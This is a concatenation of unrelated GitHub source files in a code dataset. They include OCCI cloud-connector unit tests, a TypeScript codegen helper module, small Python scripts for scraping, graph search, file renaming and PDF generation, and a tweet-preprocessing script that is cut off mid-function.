self.get_response\n\n        get_keystone_uri.return_value = None, None\n\n        success, _ = occi_cloud.alterVM(vm, new_radl, auth)\n\n        self.assertTrue(success, msg=\"ERROR: modifying VM info.\")\n        self.assertNotIn(\"ERROR\", self.log.getvalue(), msg=\"ERROR found in log: %s\" % self.log.getvalue())\n\n        # Now test to delete the public IP\n        radl_data = \"\"\"\n            network net ()\n            network net1 (outbound = 'yes')\n            system test (\n            net_interface.0.connection = 'net' and\n            net_interface.1.connection = 'net1' and\n            net_interface.1.ip = '8.8.8.8' and\n            cpu.arch='x86_64' and\n            cpu.count=1 and\n            memory.size=512m and\n            disk.0.os.name = 'linux'\n            )\"\"\"\n        radl = radl_parse.parse_radl(radl_data)\n\n        new_radl_data = \"\"\"\n            network net ()\n            system test (\n            net_interface.0.connection = 'net' and\n            disk.1.size=1GB and\n            disk.1.device='hdc' and\n            disk.1.fstype='ext4' and\n            disk.1.mount_path='/mnt/disk'\n            )\"\"\"\n        new_radl = radl_parse.parse_radl(new_radl_data)\n\n        vm = VirtualMachine(inf, \"1\", occi_cloud.cloud, radl, radl, occi_cloud, 1)\n        success, _ = occi_cloud.alterVM(vm, new_radl, auth)\n        self.assertTrue(success, msg=\"ERROR: modifying VM info.\")\n        self.assertNotIn(\"ERROR\", self.log.getvalue(), msg=\"ERROR found in log: %s\" % self.log.getvalue())\n\n        self.assertEqual(vm.requested_radl.systems[0].getValue(\"net_interface.0.connection\"), \"net\")\n\n    @patch('requests.request')\n    @patch('IM.connectors.OCCI.KeyStoneAuth.get_keystone_uri')\n    def test_60_finalize(self, get_keystone_uri, requests):\n        auth = Authentication([{'id': 'occi', 'type': 'OCCI', 'proxy': 'proxy', 'host': 'https://server.com:11443'}])\n        occi_cloud = self.get_occi_cloud()\n\n        inf = MagicMock()\n        radl = RADL()\n        radl.systems.append(system(\"test\"))\n        vm = VirtualMachine(inf, \"1\", occi_cloud.cloud, radl, radl, occi_cloud, 1)\n\n        requests.side_effect = self.get_response\n\n        get_keystone_uri.return_value = None, None\n\n        success, _ = occi_cloud.finalize(vm, True, auth)\n\n        self.assertTrue(success, msg=\"ERROR: finalizing VM info.\")\n        self.assertNotIn(\"ERROR\", self.log.getvalue(), msg=\"ERROR found in log: %s\" % self.log.getvalue())\n\n    def test_get_cloud_init_data(self):\n        cloud_init = \"\"\"\ngroups:\n  - ubuntu: [foo,bar]\n  - cloud-users\n# Add users to the system. Users are added after groups are added.\nusers:\n  - default\n  - name: cloudy\n    gecos: Magic Cloud App Daemon User\n    inactive: true\n    system: true\n  - snapuser: joe@joeuser.io\npackages:\n - pwgen\n - pastebinit\n - [libpython2.7, 2.7.3-0ubuntu3.1]\n \"\"\"\n\n        expected_res = \"\"\"#cloud-config\nmerge_how: list(append)+dict(recurse_array,no_replace)+str()\nusers:\n- homedir: /opt/user\n  lock-passwd: true\n  name: user\n  ssh-authorized-keys:\n  - pub_key\n  ssh-import-id: user\n  sudo: ALL=(ALL) NOPASSWD:ALL\n\"\"\"\n        occi_cloud = self.get_occi_cloud()\n        res = occi_cloud.get_cloud_init_data(None, None, \"pub_key\", \"user\")\n        self.assertEqual(res, expected_res)\n\n        radl_data = \"\"\"\nsystem node ()\nconfigure node (\n@begin\n#!/bin/sh\ntouch /tmp/hello\n@end\n)\ndeploy node 1\ncontextualize (\n    system node configure node with cloud_init\n)\"\"\"\n        radl = radl_parse.parse_radl(radl_data)\n        occi_cloud = self.get_occi_cloud()\n        res = occi_cloud.get_cloud_init_data(radl)\n        self.assertEqual(res, \"#!/bin/sh\\ntouch /tmp/hello\")\n\n        expected_res = \"\"\"#cloud-config\ngroups:\n- ubuntu:\n  - foo\n  - bar\n- cloud-users\nmerge_how: list(append)+dict(recurse_array,no_replace)+str()\npackages:\n- pwgen\n- pastebinit\n- - libpython2.7\n  - 2.7.3-0ubuntu3.1\nusers:\n- default\n- gecos: Magic Cloud App Daemon User\n  inactive: true\n  name: cloudy\n  system: true\n- snapuser: joe@joeuser.io\n- homedir: /opt/user\n  lock-passwd: true\n  name: user\n  ssh-authorized-keys:\n  - pub_key\n  ssh-import-id: user\n  sudo: ALL=(ALL) NOPASSWD:ALL\n\"\"\"\n        radl = RADL()\n        radl.systems.append(system(\"test\"))\n        citem = contextualize_item(\"test\", \"cid\", ctxt_tool=\"cloud_init\")\n        radl.contextualize.items = {\"id\": citem}\n        radl.configures.append(configure(\"cid\", cloud_init))\n        res = occi_cloud.get_cloud_init_data(radl, None, \"pub_key\", \"user\")\n        self.assertEqual(res, expected_res)\n\n    @patch('requests.request')\n    def test_keystone_auth(self, requests):\n        occi_cloud = self.get_occi_cloud()\n\n        requests.side_effect = self.get_response\n\n        auth = {'id': 'occi', 'type': 'OCCI', 'proxy': 'proxy', 'host': 'https://server.com:11443'}\n        version = KeyStoneAuth.get_keystone_version(occi_cloud, \"https://keystone.com:5000\", auth)\n        self.assertEqual(version, 2)\n\n        token = KeyStoneAuth.get_keystone_token(occi_cloud, \"https://keystone.com:5000\", auth)\n        self.assertEqual(token, \"token2\")\n\n        auth = {'id': 'occi', 'type': 'OCCI', 'token': 'token', 'host': 'https://server.com:11443'}\n        version = KeyStoneAuth.get_keystone_version(occi_cloud, \"https://keystone.com:5000\", auth)\n        self.assertEqual(version, 3)\n\n        token = KeyStoneAuth.get_keystone_token(occi_cloud, \"https://keystone.com:5000\", auth)\n        self.assertEqual(token, \"token3\")\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"grycap/im","sub_path":"test/unit/connectors/OCCI.py","file_name":"OCCI.py","file_ext":"py","file_size_in_byte":22872,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"77"}
+{"seq_id":"18330167806","text":"#! /usr/bin/python3\n# coding=utf-8\n# @Time: 2022/6/26 7:44 PM\n# @Author: william\n\nfrom time import sleep\n\nimport allure\n\nfrom page.ExternalLinkPage import ExternalLinkPage\nfrom page.LeftMenuPage import LeftMenuPage\nfrom page.LoginPage import LoginPage\nfrom common.report_add_img import add_img_2_report\n\n\nclass TestWindowHandle:\n    @allure.description(\"窗口句柄\")\n    @allure.epic(\"窗口句柄epic\")\n    @allure.feature(\"窗口句柄feature\")\n    @allure.story(\"窗口句柄story\")\n    @allure.tag(\"窗口句柄tag\")\n    def test_switch_window_handles(self, driver):\n        with allure.step(\"登录\"):\n            LoginPage().login(driver, \"jay\")\n            sleep(3)\n            add_img_2_report(driver, \"登录\")\n\n        with allure.step(\"点击外链\"):\n            LeftMenuPage().click_level_one_menu(driver, \"外链\")\n            sleep(1)\n            add_img_2_report(driver, \"点击外链\")\n\n        with allure.step(\"断言title\"):\n            title = ExternalLinkPage().goto_imooc(driver)\n            print(\"title:\", title)\n            assert title == \"慕课网-程序员的梦工厂\"\n","repo_name":"Twistzz-XJTLU/python_UI_test_project","sub_path":"testcases/test_switch_window_handle.py","file_name":"test_switch_window_handle.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"21094387479","text":"import re\nfrom bs4 import BeautifulSoup\n\n\ndef load_file(filepath):\n\n    soup = BeautifulSoup(open(filepath), \"lxml\")\n    a = soup.tbody.children\n    reg = re.compile((\"<[^>]*>\"))   # 清除html标签,提取文本\n    row0 = []       # row0用于保存上一行的信息\n    flag = True     # row0未初始化\n    for child in a:\n        row = []    # 保存表格提取结果\n        if child.find('th'):    # 提取表格字段\n            for value in child.children:\n                st = reg.sub('', str(value))    # 正则匹配替换\n                row.append((st.strip('\\n')))\n            row = '-'.join(row)\n            print(row)\n            continue\n        if child.find('td'):    # 提取每一行\n            while child.find('sup'):    # 先清洗可能存在的上标符号\n                child.find('sup').extract()\n            for value in child.children:\n                st = reg.sub('', str(value))\n                row.append(st.strip('\\n'))\n            if flag:\n                flag = False\n            if len(row) < len(row0):    # 与上一行比较,分析是否需要处理字段缺省的情况\n                row_temp = row0[0:len(row0)-len(row)]\n                for i in range(len(row)):\n                    row_temp.append(row[i])\n                row0 = row_temp\n                row_temp = '-'.join(row_temp)   # 将列表保存的字段连接起来\n                print(row_temp)\n                continue\n            row0 = row\n            row = '-'.join(row)\n            print(row)\n\nif __name__ == '__main__':\n    load_file('data/2333.txt')","repo_name":"wyquin/Music","sub_path":"beautiful.py","file_name":"beautiful.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30765007488","text":"import sys\r\n\r\ndef main():\r\n    n, v = map(int, sys.stdin.readline().split())\r\n    matrix = [[0]*(n+1) for _ in range(n+1)]\r\n    for _ in range(v):\r\n        a, b = map(int, sys.stdin.readline().split())\r\n        matrix[a][b] = matrix[b][a] = 1\r\n    visited = [0]*(n+1)\r\n\r\n    def dfs(start):\r\n        visited[start] = 1\r\n        for i in range(len(matrix[start])):\r\n            if matrix[start][i] == 1 and visited[i] == 0:\r\n                dfs(i)\r\n    \r\n    answer = 0\r\n\r\n    for i in range(1, n+1):\r\n        if visited[i] == 0:\r\n            answer += 1\r\n            dfs(i)\r\n\r\n    \r\n    print(answer)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()","repo_name":"ng-lee/ProblemSolving","sub_path":"백준/Silver/11724. 연결 요소의 개수/연결 요소의 개수.py","file_name":"연결 요소의 개수.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18938228741","text":"# Import necessary packages\nfrom fpdf import FPDF\nimport datetime\n\n# Input the parameters for the paper\ntitle = \"Diverse logics and grammar encode notochord enhancers\"\nauthors = \"Benjamin P Song*, Michelle F Ragsac*, Krissie Tellez, Granton A Jindal, Jessica L Grudzien, Sophia H Le, Emma K Farley\"\ndisclaimer = \"*These authors contributed equally to this work\"\n\n# Generate PDF to gather signatures \npdf = FPDF(orientation='P', unit='in', format='Letter')\n\nheader_text = \"Michelle Franc Ragsac has my permission to include the \"\nheader_text += \"following paper which was submitted for publication of which \"\nheader_text += \"I was a co-author, in her doctoral dissertation.\"\n\ndef format_paper(title, authors, disclaimer): \n    return(f'{authors}. \"{title}\". {disclaimer}')\n\nfor author in authors.split(\",\"): \n    author_cleaned = (author.strip().replace('*',''))\n    \n    pdf.add_page()\n    pdf.set_font(family='Times', style='', size=11) \n    pdf.multi_cell(0,.25, header_text, 0, 1) \n    pdf.multi_cell(0,.25, \"\", 0, 1) \n    pdf.multi_cell(0,.25, format_paper(title, authors, disclaimer), 0, 1) \n    pdf.multi_cell(0,.25, \"\", 0, 1) \n    pdf.multi_cell(0,.25, f\"{author_cleaned}\\t________________________________________\\t\\tDate _____________________\", 0, 1)\n    \npdf.output(\"Diverse-logics-notochord-enhancer_coauthor-permission-letter.pdf\")\nprint(f\"Done with request for permission documents for '{title}'!\")\n","repo_name":"mragsac/PhD-Dissertation","sub_path":"coauthor-permission-letters/coauthor-permission-letters-script.py","file_name":"coauthor-permission-letters-script.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4598129260","text":"\"\"\"Provide functions shared among different TypeScript code generation modules.\"\"\"\nimport io\nimport math\nfrom typing import List, Tuple, Optional, Union\n\nfrom icontract import require\n\nfrom aas_core_codegen import intermediate\nfrom aas_core_codegen.common import Stripped, assert_never, Identifier\nfrom aas_core_codegen.typescript import naming as typescript_naming\n\n\ndef boolean_literal(value: bool) -> Stripped:\n    \"\"\"Generate the boolean literal corresponding to the ``value``.\"\"\"\n    return Stripped(\"true\") if value else Stripped(\"false\")\n\n\ndef representable_as_number(value: int) -> bool:\n    \"\"\"Check that the ``value`` can be represented as a double-precision float.\"\"\"\n    return float(value) == value\n\n\n@require(lambda value: not isinstance(value, int) or representable_as_number(value))\ndef numeric_literal(value: Union[int, float]) -> Stripped:\n    \"\"\"Generate the numeric literal corresponding to the ``value``.\"\"\"\n    if math.isnan(value):\n        return Stripped(\"NaN\")\n    if value == math.inf:\n        return Stripped(\"Infinity\")\n    elif value == -math.inf:\n        return Stripped(\"-Infinity\")\n    else:\n        return Stripped(str(value))\n\n\n# See: https://262.ecma-international.org/5.1/#sec-7.8.4\n_BASE_ESCAPING_IN_TYPESCRIPT = {\n    \"\\\\\": \"\\\\\\\\\",\n    \"\\b\": \"\\\\b\",\n    \"\\t\": \"\\\\t\",\n    \"\\n\": \"\\\\n\",\n    \"\\v\": \"\\\\v\",\n    \"\\f\": \"\\\\f\",\n    \"\\r\": \"\\\\r\",\n}\n\n\ndef string_literal(\n    text: str,\n    without_enclosing: bool = False,\n    in_backticks: bool = False,\n) -> Stripped:\n    \"\"\"\n    Generate a string literal from the ``text``.\n\n    If ``without_enclosing`` is set, the enclosing quotes are omitted.\n\n    If ``in_backticks`` is set, the enclosing quotes are assumed to be backticks\n    and the escaping is performed according to:\n    https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals\n    \"\"\"\n    escaped_chars = []  # type: List[str]\n\n    if len(text) > 0:\n        iterator = iter(text)\n        current_char = next(iterator, None)  # type: Optional[str]\n        assert (\n            current_char is not None\n        ), \"If `text` is non-empty, we have to observe at least a single character\"\n\n        while current_char is not None:\n            next_char = next(iterator, None)\n\n            escaped_char = _BASE_ESCAPING_IN_TYPESCRIPT.get(current_char, None)\n            if escaped_char is not None:\n                escaped_chars.append(escaped_char)\n            else:\n                if not in_backticks:\n                    if current_char == '\"':\n                        escaped_chars.append('\\\\\"')\n                    else:\n                        escaped_chars.append(current_char)\n                else:\n                    if current_char == \"`\":\n                        escaped_chars.append(\"\\\\`\")\n                    elif (\n                        current_char == \"$\"\n                        and next_char is not None\n                        and next_char == \"{\"\n                    ):\n                        escaped_chars.append(\"\\\\$\")\n                    else:\n                        escaped_chars.append(current_char)\n\n            current_char = next_char\n\n    escaped = \"\".join(escaped_chars)\n\n    if without_enclosing:\n        return Stripped(escaped)\n    else:\n        if not in_backticks:\n            return Stripped(f'\"{escaped}\"')\n        else:\n            return Stripped(f\"`{escaped}`\")\n\n\ndef bytes_literal(value: bytes) -> Tuple[Stripped, bool]:\n    \"\"\"\n    Generate an expression representing the ``value``.\n\n    If there are more than 8 bytes, a multi-line expression is returned.\n\n    :param value: to be represented\n    :return: (TypeScript expression, is multi-line)\n    \"\"\"\n    if len(value) == 0:\n        return Stripped(\"new Uint8Array()\"), False\n\n    writer = io.StringIO()\n\n    # noinspection PyUnusedLocal\n    multi_line = None  # type: Optional[bool]\n\n    if len(value) <= 8:\n        items_joined = \", \".join(f\"0x{byte:02x}\" for byte in value)\n        return Stripped(f\"new Uint8Array([{items_joined}])\"), False\n    else:\n        writer.write(\n            f\"\"\"\\\nnew Uint8Array(\n{INDENT}[\"\"\"\n        )\n\n        for start in range(0, len(value), 8):\n            if start == 0:\n                writer.write(f\"\\n{INDENT2}\")\n            else:\n                writer.write(f\",\\n{INDENT2}\")\n\n            end = min(start + 8, len(value))\n\n            assert start < end\n\n            for i, byte in enumerate(value[start:end]):\n                if i > 0:\n                    writer.write(\", \")\n\n                writer.write(f\"0x{byte:02x}\")\n\n        writer.write(f\"\\n{INDENT}]\\n)\")\n        multi_line = True\n\n        return Stripped(writer.getvalue()), multi_line\n\n\ndef needs_escaping(text: str, in_backticks: bool = False) -> bool:\n    \"\"\"\n    Check whether the ``text`` contains a character that needs escaping.\n\n    If ``in_backticks`` is set, it checks that the ``text`` needs not be escaped if\n    enclosed in backticks (instead of double quotes).\n    \"\"\"\n    prev_character = None  # type: Optional[str]\n    for character in text:\n        if character in _BASE_ESCAPING_IN_TYPESCRIPT:\n            return True\n\n        if not in_backticks:\n            if character == '\"':\n                return True\n        else:\n            if character == \"`\":\n                return True\n\n            if (\n                prev_character is not None\n                and prev_character == \"$\"\n                and character == \"{\"\n            ):\n                return True\n\n        prev_character = character\n\n    return False\n\n\nPRIMITIVE_TYPE_MAP = {\n    intermediate.PrimitiveType.BOOL: Stripped(\"boolean\"),\n    intermediate.PrimitiveType.INT: Stripped(\"number\"),\n    intermediate.PrimitiveType.FLOAT: Stripped(\"number\"),\n    intermediate.PrimitiveType.STR: Stripped(\"string\"),\n    intermediate.PrimitiveType.BYTEARRAY: Stripped(\"Uint8Array\"),\n}\n\n\ndef _assert_all_primitive_types_are_mapped() -> None:\n    \"\"\"Assert that we have explicitly mapped all the primitive types to C#.\"\"\"\n    all_primitive_literals = set(literal.value for literal in PRIMITIVE_TYPE_MAP)\n\n    mapped_primitive_literals = set(\n        literal.value for literal in intermediate.PrimitiveType\n    )\n\n    all_diff = all_primitive_literals.difference(mapped_primitive_literals)\n    mapped_diff = mapped_primitive_literals.difference(all_primitive_literals)\n\n    messages = []  # type: List[str]\n    if len(mapped_diff) > 0:\n        messages.append(\n            f\"More primitive maps are mapped than there were defined \"\n            f\"in the ``intermediate._types``: {sorted(mapped_diff)}\"\n        )\n\n    if len(all_diff) > 0:\n        messages.append(\n            f\"One or more primitive types in the ``intermediate._types`` were not \"\n            f\"mapped in PRIMITIVE_TYPE_MAP: {sorted(all_diff)}\"\n        )\n\n    if len(messages) > 0:\n        raise AssertionError(\"\\n\\n\".join(messages))\n\n\n_assert_all_primitive_types_are_mapped()\n\n\ndef generate_type(\n    type_annotation: intermediate.TypeAnnotationUnion,\n    types_module: Optional[Stripped] = None,\n) -> Stripped:\n    \"\"\"\n    Generate the type for the given type annotation.\n\n    If ``types_module`` is specified, it is used as prefix for the composite types.\n    \"\"\"\n    if isinstance(type_annotation, intermediate.PrimitiveTypeAnnotation):\n        return PRIMITIVE_TYPE_MAP[type_annotation.a_type]\n\n    elif isinstance(type_annotation, intermediate.OurTypeAnnotation):\n        our_type = type_annotation.our_type\n\n        # noinspection PyUnusedLocal\n        name = None  # type: Optional[Identifier]\n\n        if isinstance(our_type, intermediate.Enumeration):\n            name = typescript_naming.enum_name(type_annotation.our_type.name)\n\n        elif isinstance(our_type, intermediate.ConstrainedPrimitive):\n            return PRIMITIVE_TYPE_MAP[our_type.constrainee]\n\n        elif isinstance(our_type, intermediate.ConcreteClass):\n            name = typescript_naming.class_name(type_annotation.our_type.name)\n\n        elif isinstance(our_type, intermediate.AbstractClass):\n            name = typescript_naming.interface_name(type_annotation.our_type.name)\n\n        else:\n            assert_never(our_type)\n\n        return Stripped(name if types_module is None else f\"{types_module}.{name}\")\n\n    elif isinstance(type_annotation, intermediate.ListTypeAnnotation):\n        item_type = generate_type(\n            type_annotation=type_annotation.items, types_module=types_module\n        )\n\n        return Stripped(f\"Array<{item_type}>\")\n\n    elif isinstance(type_annotation, intermediate.OptionalTypeAnnotation):\n        value = generate_type(\n            type_annotation=type_annotation.value, types_module=types_module\n        )\n\n        return Stripped(f\"{value} | null\")\n\n    else:\n        assert_never(type_annotation)\n\n    raise AssertionError(\"Should not have gotten here\")\n\n\nINDENT = \"  \"\nINDENT2 = INDENT * 2\nINDENT3 = INDENT * 3\nINDENT4 = INDENT * 4\nINDENT5 = INDENT * 5\nINDENT6 = INDENT * 6\n\nWARNING = Stripped(\n    \"\"\"\\\n// This code has been automatically generated by aas-core-codegen.\n// Do NOT edit or append.\"\"\"\n)\n\n\nclass GeneratorForLoopVariables:\n    \"\"\"\n    Generate a unique variable name based on ``item`` stem.\n\n    >>> generator = GeneratorForLoopVariables()\n\n    >>> next(generator)\n    'anItem'\n\n    >>> next(generator)\n    'anotherItem'\n\n    >>> next(generator)\n    'yetAnotherItem'\n\n    >>> next(generator)\n    'yetYetAnotherItem'\n    \"\"\"\n\n    def __init__(self) -> None:\n        \"\"\"Initialize with the zero counter.\"\"\"\n        self.counter = 0\n\n    def __next__(self) -> Identifier:\n        \"\"\"Generate the next variable name.\"\"\"\n        if self.counter == 0:\n            result = Identifier(\"anItem\")\n        elif self.counter == 1:\n            result = Identifier(\"anotherItem\")\n        elif self.counter == 2:\n            result = Identifier(\"yetAnotherItem\")\n        else:\n            result = Identifier(\"yet\" + (\"Yet\" * (self.counter - 2)) + \"AnotherItem\")\n\n        self.counter += 1\n\n        return result\n\n\n#: Name of the module where all the types are defined\nTYPES_MODULE = Identifier(\"types\")\n\n#: Name of the module where all the constants are defined\nCONSTANTS_MODULE = Identifier(\"constants\")\n\n#: Name of the module where all the verification logic resides\nVERIFICATION_MODULE = Identifier(\"verification\")\n","repo_name":"aas-core-works/aas-core-codegen","sub_path":"aas_core_codegen/typescript/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":10247,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"74074517369","text":"from puzzle import BasePuzzle\nfrom day05_a import Seat\n\nclass Puzzle(BasePuzzle):\n    def solve(self):\n        seats = map(Seat, self.lines)\n        seats = sorted(seats, key = lambda s: s.id)\n\n        for i in range(len(seats)):\n            next_id = seats[i].id + 1\n            next_seat = seats[i+1]\n\n            if next_seat.id != next_id:\n                print(f\"Your seat: {next_id}\")\n                break\n\nif __name__ == \"__main__\":\n    Puzzle().solve()","repo_name":"DenizenB/advent-of-code","sub_path":"2020/day05_b.py","file_name":"day05_b.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"10471946078","text":"import os\n\n\ndef walkFile(path):\n    filenames = []\n    for fileName in os.listdir(path):\n        # print(fileName)\n        if 'mp4' in os.path.splitext(fileName)[1]:\n            filenames.append(fileName)\n    filenames.sort(key=lambda x: str(x[:-4]))\n    print(filenames)\n    return filenames\n\n\ndef formatFileName():\n    fileNameList = ['1.mp4']\n    for i in range(11):\n        fileNameList.append('1 (%d).mp4' % (i + 1))\n    for n in range(1, 62):\n        fileNameList.append('%d.mp4' % (n + 1))\n    print(fileNameList)\n    return fileNameList\n\n\nif __name__ == '__main__':\n    # walkFile('Z:\\LSP\\Video\\自慰爱好者')\n    # fileNameList = formatFileName()\n    # path = r'Z:\\LSP\\Video\\自慰爱好者'\n    path = r'D:\\FFOutput'\n    os.chdir(path)\n    print(os.getcwd())\n    fileNameList = walkFile(path)\n\n    # stats = os.stat('1.mp4')\n    # print(stats.st_size / 1024 / 1024)\n    # os.rename('1.mp4','111.mp4')\n    # print(os.getcwd())\n    index = 1\n    for fileName in fileNameList:\n        # newFileName = '{:02d}'.format(index)\n        newFileName = 'S01E%s' % fileName\n        print('更改文件名%s---%s' % (fileName, newFileName))\n        os.rename(fileName, newFileName)\n        index = index + 1\n","repo_name":"932755233/FormatID","sub_path":"批量改名称/fileReplaceName.py","file_name":"fileReplaceName.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"725115686","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 16 21:07:49 2020\n\n@author: Administrator\n\"\"\"\n\nimport tkinter as tk\n\n\nroot = tk.Tk()\n\n\nroot.title('我的第一个GUI程序')\nroot.geometry('500x300+0+0')\n\n\nbtn01 = tk.Button(root)\nbtn01['text'] = '点我就送花'\nbtn01.pack()\ndef songhua(e):\n    tk.messagebox.showinfo('Message', '送你一朵花')\n    print('送你99朵花')\n\n\nbtn01.bind('<Button-1>', songhua)\n\n\nroot.mainloop()","repo_name":"yukaixue/spyder","sub_path":"MyPython400/mypy_tk.py","file_name":"mypy_tk.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9189929741","text":"from os import link\r\nfrom posixpath import dirname, basename\r\nimport re\r\nfrom MarkdownToConfluence.utils.paths import get_abs_path_from_relative\r\nimport MarkdownToConfluence.globals\r\n\r\ndef convert_all_md_attachment_links_to_confluence_attachment_links(filename):\r\n    with open(filename, 'r') as f:\r\n        lines = f.readlines()\r\n    with open(filename, 'w') as f:\r\n        for line in lines:\r\n            res = convert_md_attachment_links_to_confluence_attachment_links(line, filename)\r\n            f.write(res)\r\n\r\ndef convert_md_attachment_links_to_confluence_attachment_links(line: str, md_path: str):\r\n    links = re.findall(r'(\\[(?P<alt>[^\\]]*)\\]\\((?P<filename>.*?)(?=\\\"|\\))(\\\"(?P<title>.*)\\\")?\\))', line)\r\n    new_line = line\r\n    for link in links:\r\n        if(not (link[2].strip().endswith('.png') or link[2].strip().endswith('.jpg'))):\r\n            path = get_abs_path_from_relative(link[2], md_path)\r\n            name = link[4] if link[4] != '' else basename(link[2])\r\n            MarkdownToConfluence.globals.attachments.append((name, path))\r\n            new_line = new_line.replace(link[0], f'<p class=\\\"media-group\\\"><ac:structured-macro ac:name=\\\"view-file\\\" ac:schema-version=\\\"1\\\" ac:macro-id=\\\"ce17b5c6-cfe6-4a77-92aa-7b810863f634\\\"><ac:parameter ac:name=\\\"name\\\"><ri:attachment ri:filename=\"{name}\" ri:version-at-save=\\\"2\\\" /></ac:parameter></ac:structured-macro></p><p />')\r\n    return new_line\r\n\r\ndef run(filename):\r\n    return convert_all_md_attachment_links_to_confluence_attachment_links(filename)\r\n\r\n\r\n","repo_name":"TTengs/MarkdownToConfluence","sub_path":"MarkdownToConfluence/modules/attachment_link/parse_attachment_links.py","file_name":"parse_attachment_links.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"77"}
+{"seq_id":"21772052393","text":"# %pip install contractions\n# %pip install inflect\n# %pip install plotly\n# %pip install emoji\n# %pip install emot\n\nimport os\nimport re\nimport json\nimport pickle\nimport string\nimport pandas as pd\nimport seaborn as sns\nimport nltk\nimport datetime\nimport wordcloud\nimport matplotlib.pyplot as plt\nimport re\nimport unicodedata\nimport contractions\nimport inflect\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n# nltk.download('stopwords')\n# nltk.download('punkt')\n\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import TweetTokenizer\nfrom googletrans import Translator\nfrom nltk.stem import PorterStemmer, WordNetLemmatizer\n# import data_preprop as pp\n\n############ Data processing #################\n\ndf = pd.read_csv('Sentiment_202105272020.csv')\ntweets_df=df\n\ntweets_df.shape[0]\ntweets_df = tweets_df[tweets_df['Content'].notnull()].reset_index()\ntweets_df.drop(columns=['index','Logits_Neutral','Logits_Positive','Logits_Negative'], inplace=True)\ntweets_df.shape[0]\n\ntweets_df['Created_at']=pd.to_datetime(tweets_df['Created_at'],utc=True)\ntweets_df\ntweets_df['Year']=pd.DatetimeIndex(tweets_df['Created_at']).year\ntweets_df['Month'] = pd.DatetimeIndex(tweets_df['Created_at']).month\ntweets_df\n\n\ndef replace_contractions(text):\n    return contractions.fix(text)\n\ntweets_df['Tweets_Clean'] = tweets_df['Content'].apply(lambda x: replace_contractions(x))\n\ndef remove_URL(sample):\n    return re.sub(r\"http\\S+\", \"\", sample)\n\ndef remove_non_ascii(words):\n    new_words = []\n    for word in words:\n        new_word = unicodedata.normalize('NFKD', word).encode('ascii', 'ignore').decode('utf-8', 'ignore')\n        new_words.append(new_word)\n    return new_words\n\ndef replace_numbers(words):\n    p = inflect.engine()\n    new_words = []\n    for word in words:\n        if word.isdigit():\n            new_word = p.number_to_words(word)\n            new_words.append(new_word)\n        else:\n            new_words.append(word)\n    return new_words\n\ndef stem_words(words):\n    stemmer = PorterStemmer()\n    stems = []\n    for word in words:\n        stem = stemmer.stem(word)\n        stems.append(stem)\n    return stems\n\ndef lemmatize_verbs(words):\n    lemmatizer = WordNetLemmatizer()\n    lemmas = []\n    for word in words:\n        lemma = lemmatizer.lemmatize(word, pos='v')\n        lemmas.append(lemma)\n    return lemmas\n\ndef deEmojify(text):\n    emoji_pattern = re.compile(\"[\"\n                           u\"\\U0001F600-\\U0001F64F\"  # emoticons\n                           u\"\\U0001F300-\\U0001F5FF\"  # symbols & pictographs\n                           u\"\\U0001F680-\\U0001F6FF\"  # transport & map symbols\n                           u\"\\U0001F1E0-\\U0001F1FF\"  # flags (iOS)\n                           u\"\\U00002702-\\U000027B0\"\n                           u\"\\U000024C2-\\U0001F251\"\n                           \"]+\", flags=re.UNICODE)\n    return emoji_pattern.sub(r'', text)\n                             \nfrom emot.emo_unicode import UNICODE_EMO, EMOTICONS\n# Function for removing emoticons\ndef remove_emoticons(text):\n    emoticon_pattern = re.compile(u'(' + u'|'.join(k for k in EMOTICONS) + u')')\n    return emoticon_pattern.sub(r'', text)\n\ndef remove_punctuation(words):\n    new_words = []\n    for word in words:\n        new_word = re.sub(r'[^\\w\\s]', '', word)\n        if new_word != '':\n            new_words.append(new_word)\n    return new_words\n                             \n                            \n# def tweet_cleaner(tweet):\n#     '''\n#     Function to remove punctuations, special characters, html links, twitter handels etc...\n#     '''\n    \n#     stopwords = ['rt','rts', 'retweet', 'quot', 'sxsw']\n    \n#     punctuation = set(string.punctuation) # punctuation of English language\n#     punctuation.remove('#') # remove # so hashtags remain in x\n    \n#     x = tweet\n#     x = re.sub(r'https?:\\/\\/\\S+', '', x) # remove URL references\n#     x = re.sub(r'{link}', '', x)  # remove placeholders\n#     x = re.sub(r'@[\\w]*', '', x) # remove @mention users\n#     x = re.sub('[^A-Za-z0-9]+', ' ', x) # remove @mention users\n#     x = re.sub(r'\\b[0-9]+\\b', '', x) # remove stand-alone numbers  \n#     x = re.sub(r'&[a-z]+;', '', x) # remove HTML reference characters\n#     x = ''.join(ch for ch in x if ch not in punctuation) # remove punctuation\n#     x = x.replace(\"[^a-zA-z#]\", \" \")  #remove special characters\n\n#     x = [word.lower() for word in x.split() if word.lower() not in stopwords]\n#     x = [w for w in x if len(w)>2]\n\n#     return ' '.join(x)\n\n\ndef remove_punct_and_stopwords(text: str, stopwordlist: list, num_list: list, 